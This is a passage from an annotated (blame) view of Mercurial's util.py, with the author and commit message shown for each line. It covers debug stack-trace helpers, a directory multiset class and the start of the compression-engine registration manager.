diff changeset
3137 If line is None, it yields:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3138 length of longest filepath+line number,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3139 filepath+linenumber,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3140 function
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3141
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3142 Not be used in production code but very convenient while developing.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3143 '''
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3144 entries = [(fileline % (fn, ln), func)
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3145 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3146 ][-depth:]
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3147 if entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3148 fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3149 for fnln, func in entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3150 if line is None:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3151 yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3152 else:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3153 yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3154
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3155 def debugstacktrace(msg='stacktrace', skip=0,
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3156 f=stderr, otherf=stdout, depth=0):
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3157 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3158 Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3159 By default it will flush stdout first.
28496
b592564a803c util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents: 28027
diff changeset
3160 It can be used everywhere and intentionally does not require an ui object.
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3161 Not be used in production code but very convenient while developing.
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3162 '''
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3163 if otherf:
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3164 otherf.flush()
31323
7c877cbf30d6 util: strip trailing newline from debugstacktrace message
Mads Kiilerich <madski@unity3d.com>
parents: 31151
diff changeset
3165 f.write('%s at:\n' % msg.rstrip())
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3166 for line in getstackframes(skip + 1, depth=depth):
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3167 f.write(line)
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3168 f.flush()
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3169
24635
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3170 class dirs(object):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3171 '''a multiset of directory names from a dirstate or manifest'''
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3172
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3173 def __init__(self, map, skip=None):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3174 self._dirs = {}
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3175 addpath = self.addpath
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3176 if safehasattr(map, 'iteritems') and skip is not None:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3177 for f, s in map.iteritems():
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3178 if s[0] != skip:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3179 addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3180 else:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3181 for f in map:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3182 addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3183
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3184 def addpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3185 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3186 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3187 if base in dirs:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3188 dirs[base] += 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3189 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3190 dirs[base] = 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3191
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3192 def delpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3193 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3194 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3195 if dirs[base] > 1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3196 dirs[base] -= 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3197 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3198 del dirs[base]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3199
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3200 def __iter__(self):
31439
807387581d89 py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents: 31413
diff changeset
3201 return iter(self._dirs)
24635
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3202
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3203 def __contains__(self, d):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3204 return d in self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3205
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3206 if safehasattr(parsers, 'dirs'):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3207 dirs = parsers.dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3208
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3209 def finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3210 pos = path.rfind('/')
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3211 while pos != -1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3212 yield path[:pos]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3213 pos = path.rfind('/', 0, pos)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3214
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3215 # compression code
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3216
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3217 SERVERROLE = 'server'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3218 CLIENTROLE = 'client'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3219
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3220 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3221 (u'name', u'serverpriority',
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3222 u'clientpriority'))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3223
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3224 class compressormanager(object):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3225 """Holds registrations of various compression engines.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3226
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3227 This class essentially abstracts the differences between compression
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3228 engines to allow new compression formats to be added easily, possibly from
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3229 extensions.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3230
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3231 Compressors are registered against the global instance by calling its
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3232 ``register()`` method.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3233 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3234 def __init__(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3235 self._engines = {}
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3236 # Bundle spec human name to engine name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3237 self._bundlenames = {}
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3238 # Internal bundle identifier to engine name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3239 self._bundletypes = {}
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3240 # Revlog header to engine name.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3241 self._revlogheaders = {}
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3242 # Wire proto identifier to engine name.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3243 self._wiretypes = {}
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3244
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3245 def __getitem__(self, key):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3246 return self._engines[key]
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3247
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3248 def __contains__(self, key):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3249 return key in self._engines
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3250
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3251 def __iter__(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3252 return iter(self._engines.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3253
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3254 def register(self, engine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3255 """Register a compression engine with the manager.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3256
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3257 The argument must be a ``compressionengine`` instance.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3258 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3259 if not isinstance(engine, compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3260 raise ValueError(_('argument must be a compressionengine'))
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3261
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3262 name = engine.name()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3263
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3264 if name in self._engines:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3265 raise error.Abort(_('compression engine %s already registered') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3266 name)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3267
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3268 bundleinfo = engine.bundletype()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3269 if bundleinfo:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3270 bundlename, bundletype = bundleinfo
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3271
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3272 if bundlename in self._bundlenames:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3273 raise error.Abort(_('bundle name %s already registered') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3274 bundlename)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3275 if bundletype in self._bundletypes:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3276 raise error.Abort(_('bundle type %s already registered by %s') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3277 (bundletype, self._bundletypes[bundletype]))
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3278
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3279 # No external facing name declared.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3280 if bundlename:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3281 self._bundlenames[bundlename] = name
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3282
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3283 self._bundletypes[bundletype] = name
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3284
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3285 wiresupport = engine.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3286 if wiresupport:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3287 wiretype = wiresupport.name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3288 if wiretype in self._wiretypes:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3289 raise error.Abort(_('wire protocol compression %s already '
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3290 'registered by %s') %
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3291 (wiretype, self._wiretypes[wiretype]))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3292
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3293 self._wiretypes[wiretype] = name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3294
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3295 revlogheader = engine.revlogheader()
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3296 if revlogheader and revlogheader in self._revlogheaders:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3297 raise error.Abort(_('revlog header %s already registered by %s') %
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3298 (revlogheader, self._revlogheaders[revlogheader]))
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3299
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3300 if revlogheader:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3301 self._revlogheaders[revlogheader] = name
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3302
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3303 self._engines[name] = engine
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3304
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3305 @property
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3306 def supportedbundlenames(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3307 return set(self._bundlenames.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3308
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3309 @property
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3310 def supportedbundletypes(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3311 return set(self._bundletypes.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3312
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3313 def forbundlename(self, bundlename):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3314 """Obtain a compression engine registered to a bundle name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3315
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3316 Will raise KeyError if the bundle type isn't registered.
30447
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3317
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3318 Will abort if the engine is known but not available.
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3319 """
30447
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3320 engine = self._engines[self._bundlenames[bundlename]]
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3321 if not engine.available():
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3322 raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3323 engine.name())
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3324 return engine
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3325
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3326 def forbundletype(self, bundletype):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3327 """Obtain a compression engine registered to a bundle type.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3328
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3329 Will raise KeyError if the bundle type isn't registered.
30447
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3330
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3331 Will abort if the engine is known but not available.
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3332 """
30447
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3333 engine = self._engines[self._bundletypes[bundletype]]
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3334 if not engine.available():
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3335 raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3336 engine.name())
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
3337 return engine
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3338
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3339 def supportedwireengines(self, role, onlyavailable=True):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3340 """Obtain compression engines that support the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3341
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3342 Returns a list of engines in prioritized order, most desired first.
